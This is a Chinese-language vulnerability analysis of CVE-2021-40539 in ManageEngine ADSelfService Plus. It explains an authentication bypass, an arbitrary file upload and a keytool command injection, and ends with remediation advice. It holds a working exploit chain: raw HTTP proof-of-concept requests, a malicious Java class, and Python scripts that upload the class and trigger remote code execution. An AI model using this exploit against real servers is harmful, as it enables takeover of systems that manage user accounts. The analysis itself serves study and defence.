ManageEngine ADSelfService Plus 历史漏洞CVE-2021-40539分析
字数 2010 2025-08-26 22:11:15
ManageEngine ADSelfService Plus 漏洞分析 (CVE-2021-40539)
漏洞概述
CVE-2021-40539是ZOHO ManageEngine ADSelfService Plus中的一个严重漏洞组合,包含:
- 身份认证绕过漏洞
- 任意文件上传漏洞
- 远程代码执行(RCE)漏洞
该漏洞已在野被利用,攻击者可完全控制受影响系统。漏洞在2021年11月7日的6114版本中修复。
环境搭建
软件环境
- 官网只提供最新版,需从下载网站获取5.8版本
- 安装注意事项:
- 图形化界面安装可能卡住
- 解决方法:重启后运行
C:\ManageEngine\ADSelfService Plus\bin\run.bat进行命令行安装 - 默认使用8888端口(HTTP)或9251端口(HTTPS)
调试环境配置
- 复制安装目录到Mac环境
- 使用IDEA打开项目
- 修改
bin/run.bat添加调试参数:set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 - 重启服务以调试模式启动
- 在IDEA中设置远程调试配置
- 验证调试环境:
- 在
AssociateCredential过滤器的doFilter方法设置断点 - 访问任意页面验证是否命中断点
- 在
漏洞分析
1. 认证绕过漏洞
漏洞表现:
- 正常请求:
POST /RestAPI/LogonCustomization需要认证 - 绕过请求:
POST /./RestAPI/LogonCustomization可绕过认证
技术原理:
-
请求流程:
- 所有请求先经过多个过滤器:
AssociateCredential、EncodingFilter、METrackFilter、ADSFilter - 最后到达
org.apache.struts.action.ActionServlet
- 所有请求先经过多个过滤器:
-
认证检查位置:
- 在
ADSFilter中进行REST API认证检查 - 关键代码:
restApiUrlPattern = this.filterParams.has("API_URL_PATTERN") ? this.filterParams.getString("API_URL_PATTERN") : "/RestAPI/.*"; if (Pattern.matches(restApiUrlPattern, reqURI) && !RestAPIFilter.doAction(servletRequest, servletResponse, this.filterParams, this.filterConfig)) { return; } /./RestAPI/LogonCustomization无法匹配/RestAPI/.*模式,绕过认证检查
- 在
2. 任意文件上传漏洞
POC:
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.106:9251
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Content-Length: 1212
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"
unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"
yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"
smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"
Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"
Content-Type: application/octet-stream
arbitrary content
-----------------------------39411536912265220004317003537--
技术原理:
-
请求路由:
- 根据
struts-config.xml配置,请求路由到com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization - 参数
methodToCall=unspecified调用unspecified方法
- 根据
-
文件上传逻辑:
- 当满足
Save=yes、form=smartcard、operation=Add时 - 调用
SmartCardAction.addSmartCardConfig - 最终通过
FileUtil.getFileFromRequest处理上传文件 - 直接使用客户端提供的文件名保存文件,导致任意文件上传
- 当满足
注意事项:
- 无法通过
../或路径分隔符修改保存位置 - 文件默认保存在
bin目录下
3. 远程代码执行(RCE)漏洞
POC:
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"&NAME=test&VALIDITY=abc&PASSWORD=pasword&SAN_NAME=san&OU=ou&ORGANIZATION=og&LOCALITY=loc&STATE=state&COUNTRY_CODE=123
技术原理:
-
请求路由:
- 根据
struts-config.xml,请求路由到com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction - 参数
methodToCall=openSSLTool调用openSSLTool方法
- 根据
-
命令注入点:
- 调用
SSLUtil.createCSR生成CSR - 拼接命令执行
keytool工具:StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe ..."); keyCmd.append(" -keysize ").append(keyLength); // KEY_LENGTH参数未过滤 KEY_LENGTH和VALIDITY参数未经过滤直接拼接
- 调用
-
利用方式:
- 通过
-providerclass和-providerpath参数加载恶意类 - 需要先通过文件上传漏洞上传恶意类文件
- 通过
漏洞利用
完整利用步骤
-
准备恶意类:
import java.io.*; public class Si{ static{ try{ Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("calc"); }catch (IOException e){} } }编译:
javac Si.java -
上传恶意类:
import requests def upload(ip): url = f'http://{ip}:8888/%2e/RestAPI/LogonCustomization' data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"} files = {'CERTIFICATE_PATH': ('Si.class', open('Si.class', 'rb'))} requests.post(url=url, data=data, files=files) -
触发RCE:
def runcmd(ip): url = f'http://{ip}:8888/%2e/RestAPI/Connection' data = { "methodToCall":'openSSLTool', "action":'generateCSR', "KEY_LENGTH":'1024 -providerclass Si -providerpath "C:\\ManageEngine\\ADSelfService Plus\\bin"', "NAME":'test',"VALIDITY":1,"PASSWORD":'pasword', 'SAN_NAME':'san',"OU":'ou','ORGANIZATION':'og', 'LOCALITY':'loc','STATE':'state','COUNTRY_CODE':'123' } requests.post(url=url, data=data)
注意事项:
- Burp Suite可能会自动省略URL中的
/./,导致利用失败 - 所有必需参数(
NAME,PASSWORD等)必须提供,否则会触发异常
修复建议
- 升级到最新版本(6114及以上)
- 临时缓解措施:
- 限制对
/RestAPI/端点的访问 - 监控可疑的文件创建和命令执行行为
- 限制对
- 代码层面修复:
- 严格校验URL路径
- 对文件上传进行严格限制
- 对命令参数进行严格过滤和转义
参考链接
- [ManageEngine ADSelfService Plus(CVE-2021-40539)漏洞分析]
- [ManageEngine ADSelfService Plus CVE-2021-40539 漏洞分析]
- [HOW TO EXPLOIT CVE-2021-40539 ON MANAGEENGINE ADSELFSERVICE PLUS]
- [CVE-2021-40539]